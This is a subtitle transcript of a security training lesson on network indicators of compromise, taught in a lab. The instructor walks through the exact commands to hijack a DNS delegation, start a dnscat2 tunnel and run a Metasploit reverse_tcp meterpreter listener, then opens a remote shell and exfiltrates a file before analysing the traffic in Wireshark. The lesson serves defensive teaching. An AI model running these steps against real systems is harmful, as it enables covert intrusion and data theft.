1 1 00:00:00,457 --> 00:00:03,540 "Analysis of Network IOCs." 2 2 00:00:03,540 --> 00:00:05,430 In this lesson, we're going to talk about 3 3 00:00:05,430 --> 00:00:09,000 analyzing network-related indicators of compromise. 4 4 00:00:09,000 --> 00:00:10,140 Now, when we look at this, 5 5 00:00:10,140 --> 00:00:12,570 a lot of our network activity is going to be used 6 6 00:00:12,570 --> 00:00:14,700 as some of the best sources of indicators 7 7 00:00:14,700 --> 00:00:16,710 when we're trying to analyze a compromise 8 8 00:00:16,710 --> 00:00:18,510 of a suspected incident. 9 9 00:00:18,510 --> 00:00:20,370 Now in this lesson, what I'm going to do is, 10 10 00:00:20,370 --> 00:00:23,370 I'm going to set up a simple DNS tunneling mechanism. 11 11 00:00:23,370 --> 00:00:25,470 This will help us illustrate how attackers 12 12 00:00:25,470 --> 00:00:27,000 can disguise their communications 13 13 00:00:27,000 --> 00:00:29,670 by using covert channels such as DNS 14 14 00:00:29,670 --> 00:00:32,640 to hide information within that common protocol. 15 15 00:00:32,640 --> 00:00:34,950 To do this, I'm going to go into my lab environment, 16 16 00:00:34,950 --> 00:00:38,340 and from here, I'm going to go ahead and set up my attack. 17 17 00:00:38,340 --> 00:00:40,650 Now, to perform this attack is really something more 18 18 00:00:40,650 --> 00:00:42,870 that's focused on the PenTest+ side. 19 19 00:00:42,870 --> 00:00:44,670 But I'm going to show you how I do this, 20 20 00:00:44,670 --> 00:00:46,830 because it's important for us to be able to see this, 21 21 00:00:46,830 --> 00:00:49,470 so as defenders, we know what the attacker is doing. 22 22 00:00:49,470 --> 00:00:51,360 And then I'm going to show you how you can identify this 23 23 00:00:51,360 --> 00:00:52,860 as a defender. 24 24 00:00:52,860 --> 00:00:55,050 Now, when I set up my DNS tunneling, 25 25 00:00:55,050 --> 00:00:57,600 I need to act as an authoritative name server. 26 26 00:00:57,600 --> 00:00:59,460 That way, queries for name records 27 27 00:00:59,460 --> 00:01:01,980 are going to be directed to my machine as the attacker 28 28 00:01:01,980 --> 00:01:04,950 instead of to some really trusted domain server. 29 29 00:01:04,950 --> 00:01:07,740 To do this, we can use lots of different techniques. 30 30 00:01:07,740 --> 00:01:09,810 For instance, we've talked about DGAs, 31 31 00:01:09,810 --> 00:01:11,760 which is domain generate algorithms, 32 32 00:01:11,760 --> 00:01:14,310 that rapidly cycle through different domain names. 33 33 00:01:14,310 --> 00:01:17,430 This might be something like a fast flux DNS for instance. 34 34 00:01:17,430 --> 00:01:19,980 Now, my approach here is going to be to compromise the records 35 35 00:01:19,980 --> 00:01:21,540 on another name server. 36 36 00:01:21,540 --> 00:01:22,530 Now, this name server 37 37 00:01:22,530 --> 00:01:24,450 is going to be hosted on a LAMP server, 38 38 00:01:24,450 --> 00:01:27,807 which stands for Linux, Apache, MySQL, and PHP. 39 39 00:01:27,807 --> 00:01:29,820 And so I'm going to attack this LAMP server 40 40 00:01:29,820 --> 00:01:32,370 and create a delegation for a sub-domain. 41 41 00:01:32,370 --> 00:01:34,740 Now, because this isn't really going to be a course 42 42 00:01:34,740 --> 00:01:36,420 on learning how to attack things, 43 43 00:01:36,420 --> 00:01:38,220 I'm going to simplify things and assume 44 44 00:01:38,220 --> 00:01:40,560 that I've gotten the administrative credentials somehow. 45 45 00:01:40,560 --> 00:01:42,090 Maybe I had a wireless sniffer 46 46 00:01:42,090 --> 00:01:43,500 and that's able to capture that. 47 47 00:01:43,500 --> 00:01:45,750 Whatever it is, I'm going to log in as the admin 48 48 00:01:45,750 --> 00:01:46,980 so I can do this setup. 49 49 00:01:46,980 --> 00:01:48,960 Now, when I get here to the command prompt, 50 50 00:01:48,960 --> 00:01:53,960 I want to go ahead and change into the /etc/bind directory. 51 51 00:01:53,970 --> 00:01:56,250 Once I'm there, I'm going to use sudo, 52 52 00:01:56,250 --> 00:02:01,250 then move the file, named.conf.local.bak 53 53 00:02:01,380 --> 00:02:04,260 to name.conf.local. 54 54 00:02:04,260 --> 00:02:07,950 This will rename my backup file into my new local file. 55 55 00:02:07,950 --> 00:02:10,170 That backup file is one that I've already configured 56 56 00:02:10,170 --> 00:02:13,530 with the things that I needed to be able to run this attack. 57 57 00:02:13,530 --> 00:02:14,940 Now, the first thing I need to do is, 58 58 00:02:14,940 --> 00:02:17,220 I need to change the DNS records. 59 59 00:02:17,220 --> 00:02:18,053 And what I'm going to do is 60 60 00:02:18,053 --> 00:02:20,010 I'm going to go and use the sudo command, 61 61 00:02:20,010 --> 00:02:23,700 then nano, named.conf.options, 62 62 00:02:23,700 --> 00:02:26,820 which is the file that contains those DNS records. 63 63 00:02:26,820 --> 00:02:30,180 I'm going to go down and edit and add the following two lines. 64 64 00:02:30,180 --> 00:02:31,200 I'm going to go and type in 65 65 00:02:31,200 --> 00:02:35,430 dnssec dash validation, no, semicolon, 66 66 00:02:35,430 --> 00:02:39,480 and then allow-recursion, any, and semicolon. 67 67 00:02:39,480 --> 00:02:42,660 By doing this, I'm going to configure this DNS server 68 68 00:02:42,660 --> 00:02:45,390 to allow us to have the exploit happening. 69 69 00:02:45,390 --> 00:02:47,340 Now I'm going to hit Control + O and Enter, 70 70 00:02:47,340 --> 00:02:48,630 that's going to save the file, 71 71 00:02:48,630 --> 00:02:51,570 and then Control + X and Enter to close the file. 72 72 00:02:51,570 --> 00:02:52,590 Now that I've done that, 73 73 00:02:52,590 --> 00:02:55,140 I need to go ahead and open up the DNS records 74 74 00:02:55,140 --> 00:02:56,550 and be able to modify those. 75 75 00:02:56,550 --> 00:03:01,453 So I'm going to type in sudo nano db.515.web.net 76 76 00:03:02,520 --> 00:03:05,040 Now, I can add the following records into this 77 77 00:03:05,040 --> 00:03:06,990 to give them delegation records. 78 78 00:03:06,990 --> 00:03:11,010 I'm going to create my own subdomain called pwn, P-W-N. 79 79 00:03:11,010 --> 00:03:15,570 And I'm going to do that by using ORIGIN pwn.515.net, 80 80 00:03:15,570 --> 00:03:17,873 and then @ IN NS 81 81 00:03:17,873 --> 00:03:22,020 ns1.pwn.515.net, 82 82 00:03:22,020 --> 00:03:23,700 which says I want to set up a name server, 83 83 00:03:23,700 --> 00:03:26,880 ns1.pwn.515web.net. 84 84 00:03:26,880 --> 00:03:29,220 And then I'm going to set up ns1.name server 85 85 00:03:29,220 --> 00:03:33,660 with an A record of 192.168.2.192, 86 86 00:03:33,660 --> 00:03:36,660 which is the IP address of my attackers machine. 87 87 00:03:36,660 --> 00:03:37,770 Then I'm going to go ahead and save this 88 88 00:03:37,770 --> 00:03:39,660 using Control + O and hitting Enter, 89 89 00:03:39,660 --> 00:03:42,180 and then Control + X to close the file. 90 90 00:03:42,180 --> 00:03:44,310 Next, I want to restart the bind server. 91 91 00:03:44,310 --> 00:03:47,340 To do this, I'm going to type in sudo, then service, 92 92 00:03:47,340 --> 00:03:50,880 then bind9, and then restart, and hit Enter. 93 93 00:03:50,880 --> 00:03:53,700 All right, so now we have set up that name server 94 94 00:03:53,700 --> 00:03:55,470 on my attackers machine. 95 95 00:03:55,470 --> 00:03:58,050 Now, what does my lab actually look like, you might wonder? 96 96 00:03:58,050 --> 00:04:00,030 Well, here's what my lab looks like. 97 97 00:04:00,030 --> 00:04:02,850 Now notice, I have that LAMP server in the bottom left. 98 98 00:04:02,850 --> 00:04:06,390 It's at 192.168.1.1. 99 99 00:04:06,390 --> 00:04:09,767 That is the Linux, Apache, MySQL, and PHP. 100 100 00:04:09,767 --> 00:04:12,330 That's the server whose records I just compromised, 101 101 00:04:12,330 --> 00:04:14,040 and said that the name server 102 102 00:04:14,040 --> 00:04:17,280 is now going to be located over at 192.168.2.192, 103 103 00:04:19,290 --> 00:04:20,370 which is my Linux machine 104 104 00:04:20,370 --> 00:04:21,840 that I'm running these attacks from. 105 105 00:04:21,840 --> 00:04:23,310 So now, anytime somebody tries 106 106 00:04:23,310 --> 00:04:26,910 to send information to pwn.515web.net, 107 107 00:04:26,910 --> 00:04:28,050 it's going to be able to send it 108 108 00:04:28,050 --> 00:04:29,520 instead of to that LAMP server, 109 109 00:04:29,520 --> 00:04:33,780 which is the authoritative source, for all 515web.net DNS 110 110 00:04:33,780 --> 00:04:35,550 over to that Kali Linux server. 111 111 00:04:35,550 --> 00:04:38,070 But that Kali Linux server doesn't have a listener yet, 112 112 00:04:38,070 --> 00:04:39,690 so let's go ahead and set that up. 113 113 00:04:39,690 --> 00:04:40,800 We need to set up a server 114 114 00:04:40,800 --> 00:04:42,570 to listen for connection attempts. 115 115 00:04:42,570 --> 00:04:45,090 In that way, anytime somebody looks for a record 116 116 00:04:45,090 --> 00:04:47,790 at pwn.515web.net, 117 117 00:04:47,790 --> 00:04:49,440 it's there to answer to it. 118 118 00:04:49,440 --> 00:04:52,110 Now what we're going to use here is dnscat2, 119 119 00:04:52,110 --> 00:04:53,190 which is a tunneling tool 120 120 00:04:53,190 --> 00:04:55,770 to allow us to tunnel information over DNS. 121 121 00:04:55,770 --> 00:04:58,230 So once I'm on my attacker's workstation, 122 122 00:04:58,230 --> 00:05:00,240 I'm going to go ahead and go into the terminal 123 123 00:05:00,240 --> 00:05:02,850 and type in service apache2 start, 124 124 00:05:02,850 --> 00:05:04,980 which is going to start up my web service. 125 125 00:05:04,980 --> 00:05:06,690 Then I'm going to change directories 126 126 00:05:06,690 --> 00:05:10,980 into the Downloads/dnscat2/server directory. 127 127 00:05:10,980 --> 00:05:12,870 And from here, I'm going to use ruby 128 128 00:05:12,870 --> 00:05:17,520 to execute the file dnscat2.rb, which is a ruby script, 129 129 00:05:17,520 --> 00:05:19,350 and the domain name that I want to use, 130 130 00:05:19,350 --> 00:05:23,400 in this case pwn.515web.net. 131 131 00:05:23,400 --> 00:05:25,470 At this point, we need to be able to start 132 132 00:05:25,470 --> 00:05:27,690 sending the client to the victim machine. 133 133 00:05:27,690 --> 00:05:29,550 And so we're going to use EvilPutty 134 134 00:05:29,550 --> 00:05:31,260 to be able to do this. 135 135 00:05:31,260 --> 00:05:33,210 So I'm going to open up a new terminal window 136 136 00:05:33,210 --> 00:05:35,460 and I'm going to type in msfconsole, 137 137 00:05:35,460 --> 00:05:37,710 which stands for the Metasploit framework. 138 138 00:05:37,710 --> 00:05:40,020 This is an attacker and penetration tool 139 139 00:05:40,020 --> 00:05:42,030 that we can use as a red teamer. 140 140 00:05:42,030 --> 00:05:43,980 So, using Metasploit, 141 141 00:05:43,980 --> 00:05:45,360 we're going to go ahead and type in, 142 142 00:05:45,360 --> 00:05:49,260 use exploit/multi/handler, 143 143 00:05:49,260 --> 00:05:51,510 which says what exploit do I want to use? 144 144 00:05:51,510 --> 00:05:53,130 Then I'm going to set my payload. 145 145 00:05:53,130 --> 00:05:54,120 And I do this by typing in, 146 146 00:05:54,120 --> 00:05:59,120 set payload windows/meterpreter/reverse_tcp. 147 147 00:06:00,030 --> 00:06:01,920 And then I'm going to set my local host, 148 148 00:06:01,920 --> 00:06:04,860 which is, who is going to be listening to this information, 149 149 00:06:04,860 --> 00:06:09,860 set lhost 192.168.2.192, 150 150 00:06:10,080 --> 00:06:13,110 which is the IP of my Kali Linux machine. 151 151 00:06:13,110 --> 00:06:15,270 And then I'm going to set the port that I want to listen on. 152 152 00:06:15,270 --> 00:06:18,810 In this case, set lport 3389, 153 153 00:06:18,810 --> 00:06:21,750 which is RDP or Remote Desktop Protocol. 154 154 00:06:21,750 --> 00:06:23,610 This is how you configure an exploit. 155 155 00:06:23,610 --> 00:06:25,560 These four lines are just the configuration 156 156 00:06:25,560 --> 00:06:27,180 to allow this exploit to run. 157 157 00:06:27,180 --> 00:06:28,620 And now if I want to run that exploit, 158 158 00:06:28,620 --> 00:06:30,870 I'm just going to type in, exploit and hit Enter, 159 159 00:06:30,870 --> 00:06:32,940 and that is going to start this listener up. 160 160 00:06:32,940 --> 00:06:35,670 All right, so now we want to see what this attack looks like. 161 161 00:06:35,670 --> 00:06:38,580 I've set up the listener, I've set the DNS rerouting, 162 162 00:06:38,580 --> 00:06:40,260 let's go ahead and trigger the attack. 163 163 00:06:40,260 --> 00:06:42,660 So now I'm going to log into my machine as an analyst, 164 164 00:06:42,660 --> 00:06:44,550 and I'm going to start Wireshark. 165 165 00:06:44,550 --> 00:06:47,490 Now with Wireshark, I want to capture the Ethernet interface, 166 166 00:06:47,490 --> 00:06:49,290 and I'm going to start looking formation 167 167 00:06:49,290 --> 00:06:53,040 that says, host not 10.1.0.1, 168 168 00:06:53,040 --> 00:06:57,090 and the port is 3389, or port 53. 169 169 00:06:57,090 --> 00:06:58,890 So what am I looking for here? 170 170 00:06:58,890 --> 00:07:02,790 Basically, any host that is communicating with port 3389, 171 171 00:07:02,790 --> 00:07:04,230 that RDP port I just set up, 172 172 00:07:04,230 --> 00:07:07,170 or port 53, which is DNS. 173 173 00:07:07,170 --> 00:07:08,730 Now, I'm going to open up a browser 174 174 00:07:08,730 --> 00:07:10,590 and I'm going to try going to a website. 175 175 00:07:10,590 --> 00:07:14,910 For instance, 192.168.2.192. 176 176 00:07:14,910 --> 00:07:16,590 Now, why am I doing that? 177 177 00:07:16,590 --> 00:07:18,330 Because this is going to allow me 178 178 00:07:18,330 --> 00:07:20,130 to start running EvilPutty, 179 179 00:07:20,130 --> 00:07:22,710 and I can click through any warnings I have. 180 180 00:07:22,710 --> 00:07:25,200 Now, let me go back to my attacker machine. 181 181 00:07:25,200 --> 00:07:27,450 At this point, if we've run EvilPutty, 182 182 00:07:27,450 --> 00:07:30,510 we now have a connection with that listener I just set up. 183 183 00:07:30,510 --> 00:07:32,910 So, on my penetration testing machine, 184 184 00:07:32,910 --> 00:07:37,910 I'm going to upload /root/Downloads/DNScat2.exe, 185 185 00:07:38,790 --> 00:07:42,900 and I'm going to put that into c:\\labfiles. 186 186 00:07:42,900 --> 00:07:44,730 Now, I'm going to type in, shell, 187 187 00:07:44,730 --> 00:07:48,990 and then I'm going to do cd c:\labfiles. 188 188 00:07:48,990 --> 00:07:50,820 Now, this means that I have a command shell 189 189 00:07:50,820 --> 00:07:52,920 and I'm now in that directory, 190 190 00:07:52,920 --> 00:07:55,530 so I can now run dnscat2. 191 191 00:07:55,530 --> 00:07:59,910 I type in, dnscat2.exe -- dns 192 192 00:07:59,910 --> 00:08:04,910 space domain=pwn.515web.net, 193 193 00:08:05,700 --> 00:08:09,750 server=192.168.1.1. 194 194 00:08:09,750 --> 00:08:11,460 Now, what did I just do here? 195 195 00:08:11,460 --> 00:08:15,750 Well, I just set up the executable on my victim's machine. 196 196 00:08:15,750 --> 00:08:19,560 This allows data to start being sent over dnscat, 197 197 00:08:19,560 --> 00:08:21,300 which is that DNS tunneling protocol 198 198 00:08:21,300 --> 00:08:22,920 that we're going to send information over 199 199 00:08:22,920 --> 00:08:24,780 back to the Kali Linux machine. 200 200 00:08:24,780 --> 00:08:27,570 So let's go back over and look at dnscat2, 201 201 00:08:27,570 --> 00:08:28,403 and you'll notice here, 202 202 00:08:28,403 --> 00:08:30,600 we have a new window that was created. 203 203 00:08:30,600 --> 00:08:32,460 This session is now encrypted, 204 204 00:08:32,460 --> 00:08:35,070 and we have a good communication between the victim, 205 205 00:08:35,070 --> 00:08:35,903 in this case, 206 206 00:08:35,903 --> 00:08:38,190 the Bobby PC I logged into before with Windows, 207 207 00:08:38,190 --> 00:08:41,730 and the Linux machine that I'm using as an attacker. 208 208 00:08:41,730 --> 00:08:44,190 Now, let's go ahead and look back at meterpreter. 209 209 00:08:44,190 --> 00:08:46,740 And here, I can go ahead and hit Control + Z, 210 210 00:08:46,740 --> 00:08:48,510 and respond to the prompt by saying, "yes" 211 211 00:08:48,510 --> 00:08:50,430 to turn off that connection to that listener, 212 212 00:08:50,430 --> 00:08:52,050 because I don't need it anymore. 213 213 00:08:52,050 --> 00:08:54,810 I already have a tunnel now between this system 214 214 00:08:54,810 --> 00:08:56,340 and the victim system. 215 215 00:08:56,340 --> 00:08:57,747 So I'm going to go ahead and quit meterpreter, 216 216 00:08:57,747 --> 00:09:01,560 and I do that by typing in, exit, and then, exit again. 217 217 00:09:01,560 --> 00:09:03,090 Now, let's switch to the terminal 218 218 00:09:03,090 --> 00:09:05,520 that's hosting dnscat2 again. 219 219 00:09:05,520 --> 00:09:07,590 From here, I'm going to run a couple of commands 220 220 00:09:07,590 --> 00:09:09,420 to navigate the local system. 221 221 00:09:09,420 --> 00:09:10,440 First, I'm going to type in, 222 222 00:09:10,440 --> 00:09:15,120 window --i=1, and hit Enter. 223 223 00:09:15,120 --> 00:09:16,800 And then I'm going to type in, shell, 224 224 00:09:16,800 --> 00:09:18,360 and then I'm going to hit Enter. 225 225 00:09:18,360 --> 00:09:19,200 Then I'm going to type in, 226 226 00:09:19,200 --> 00:09:23,610 window --i=2, and hit Enter. 227 227 00:09:23,610 --> 00:09:26,700 And then I'm going to type in, dir, and hit Enter. 228 228 00:09:26,700 --> 00:09:28,470 Now, what did I do here? 229 229 00:09:28,470 --> 00:09:31,230 Well, I set up two windows or two environments 230 230 00:09:31,230 --> 00:09:32,700 for me to be able to send information. 231 231 00:09:32,700 --> 00:09:35,400 I call these Windows one and Windows two. 232 232 00:09:35,400 --> 00:09:38,580 The shell is giving me a command shell on a Windows system. 233 233 00:09:38,580 --> 00:09:39,570 And then the second one, 234 234 00:09:39,570 --> 00:09:42,600 I did a dir or a directory listing. 235 235 00:09:42,600 --> 00:09:45,900 Now, let's say that the GPO zip file is of interest here. 236 236 00:09:45,900 --> 00:09:47,490 Let's say I wanted to grab that. 237 237 00:09:47,490 --> 00:09:49,080 Well, I can use this DNS tunnel 238 238 00:09:49,080 --> 00:09:51,480 to start downloading that GPO file. 239 239 00:09:51,480 --> 00:09:53,850 I can do this by exiting the local shell, 240 240 00:09:53,850 --> 00:09:55,890 by typing in, exit, and hitting Enter, 241 241 00:09:55,890 --> 00:09:59,610 and then going window --i=1, 242 242 00:09:59,610 --> 00:10:02,400 and this again goes back to that first interface window, 243 243 00:10:02,400 --> 00:10:03,233 and then I can say, 244 244 00:10:03,233 --> 00:10:06,150 download, the file name, gpo.zip, 245 245 00:10:06,150 --> 00:10:06,983 and where I want to download to, 246 246 00:10:06,983 --> 00:10:10,920 /root/Downloads/gpo.zip. 247 247 00:10:10,920 --> 00:10:12,210 Now, when I had that shell, 248 248 00:10:12,210 --> 00:10:14,220 I can go and do any commands I want. 249 249 00:10:14,220 --> 00:10:15,930 But because I exited that shell, 250 250 00:10:15,930 --> 00:10:17,490 I'm now issuing specific commands 251 251 00:10:17,490 --> 00:10:18,780 back to that Windows machine, 252 252 00:10:18,780 --> 00:10:20,640 in this case, the download command. 253 253 00:10:20,640 --> 00:10:21,990 Should just take a couple of seconds, 254 254 00:10:21,990 --> 00:10:23,670 and now I have the file. 255 255 00:10:23,670 --> 00:10:24,900 So let's now go in 256 256 00:10:24,900 --> 00:10:27,360 and look at the indicators of compromise here 257 257 00:10:27,360 --> 00:10:29,880 by analyzing our attack indicators. 258 258 00:10:29,880 --> 00:10:32,400 First, we're going to go back into our analyst machine, 259 259 00:10:32,400 --> 00:10:33,960 which is PC one. 260 260 00:10:33,960 --> 00:10:36,120 From here, I'm going to stop the Wireshark capture, 261 261 00:10:36,120 --> 00:10:38,670 I'm going to scroll to the start of the output. 262 262 00:10:38,670 --> 00:10:40,500 Here, you can observe the meterpreter session 263 263 00:10:40,500 --> 00:10:43,350 was established over port 3389. 264 264 00:10:43,350 --> 00:10:45,030 Now, this is a very common port 265 265 00:10:45,030 --> 00:10:47,550 from Microsoft's remote desktop protocol service. 266 266 00:10:47,550 --> 00:10:50,100 And so, you should be used to seeing RDP traffic 267 267 00:10:50,100 --> 00:10:51,120 on a normal network. 268 268 00:10:51,120 --> 00:10:53,940 So this may not look abnormal to you at first, 269 269 00:10:53,940 --> 00:10:55,470 but the data transferred here 270 270 00:10:55,470 --> 00:10:58,530 is being done using raw TCP packets. 271 271 00:10:58,530 --> 00:11:00,480 As we start looking at the end of that capture, 272 272 00:11:00,480 --> 00:11:03,270 we can start seeing that DNS tunneling traffic. 273 273 00:11:03,270 --> 00:11:04,800 Now, there's lots of different records 274 274 00:11:04,800 --> 00:11:06,150 that are being used here, 275 275 00:11:06,150 --> 00:11:07,230 and the reason for that is because 276 276 00:11:07,230 --> 00:11:08,640 we're actually tunneling information 277 277 00:11:08,640 --> 00:11:10,410 through these DNS requests. 278 278 00:11:10,410 --> 00:11:12,300 Now, if I have a firewall, 279 279 00:11:12,300 --> 00:11:13,650 I can get right through that firewall 280 280 00:11:13,650 --> 00:11:15,540 because DNS is usually allowed 281 281 00:11:15,540 --> 00:11:17,700 to exit the network over port 53 282 282 00:11:17,700 --> 00:11:20,520 to make those calls and request DNS information 283 283 00:11:20,520 --> 00:11:22,200 so you know which websites to go to. 284 284 00:11:22,200 --> 00:11:23,790 And so that's why attackers like to use 285 285 00:11:23,790 --> 00:11:25,950 this DNS tunneling technique. 286 286 00:11:25,950 --> 00:11:26,790 Now, the way we can know 287 287 00:11:26,790 --> 00:11:29,130 this is a technique of some kind of indicator of compromise 288 288 00:11:29,130 --> 00:11:31,860 is because all of those different records are being seen, 289 289 00:11:31,860 --> 00:11:34,110 and if we went and looked at those individual records, 290 290 00:11:34,110 --> 00:11:35,850 we can actually look at the data inside them 291 291 00:11:35,850 --> 00:11:37,500 and we'll find that it's not the data 292 292 00:11:37,500 --> 00:11:39,150 inside a normal DNS record. 293 293 00:11:39,150 --> 00:11:41,190 Instead, it's data we're throwing in there 294 294 00:11:41,190 --> 00:11:43,020 to tunnel through that protocol. 295 295 00:11:43,020 --> 00:11:43,853 Now, if you're using 296 296 00:11:43,853 --> 00:11:45,870 an intrusion detection system on your network, 297 297 00:11:45,870 --> 00:11:48,690 it should be able to find this information quite quickly, 298 298 00:11:48,690 --> 00:11:51,780 because these are not properly formatted DNS messages. 299 299 00:11:51,780 --> 00:11:53,700 Instead, we're packing extra information 300 300 00:11:53,700 --> 00:11:55,140 into those DNS requests 301 301 00:11:55,140 --> 00:11:58,080 to get that information exfiltrated out of the network. 302 302 00:11:58,080 --> 00:12:00,060 All right, I hope you enjoyed this lesson, 303 303 00:12:00,060 --> 00:12:02,670 and you enjoyed seeing just one of the many attacks 304 304 00:12:02,670 --> 00:12:04,710 that people can use against your networks. 305 305 00:12:04,710 --> 00:12:06,810 Now remember, as a cybersecurity analyst, 306 306 00:12:06,810 --> 00:12:09,690 it's your job to understand what these attacks look like 307 307 00:12:09,690 --> 00:12:12,690 by looking at things like Wireshark and Packet Captures. 308 308 00:12:12,690 --> 00:12:13,523 Because that is going to be 309 309 00:12:13,523 --> 00:12:15,390 one of the main things you're going to be looking at 310 310 00:12:15,390 --> 00:12:18,060 as you're going through and working on a SoC watch floor. 311 311 00:12:18,060 --> 00:12:20,310 In addition to that, you'll also be looking at seams 312 312 00:12:20,310 --> 00:12:21,930 and intrusion detection systems. 313 313 00:12:21,930 --> 00:12:23,400 So those things will help you out 314 314 00:12:23,400 --> 00:12:24,930 because you have specific alerts 315 315 00:12:24,930 --> 00:12:27,540 that will detect these type of things that would flag, 316 316 00:12:27,540 --> 00:12:28,980 and then you can go into more depth 317 317 00:12:28,980 --> 00:12:30,680 by pulling up the Packet Captures.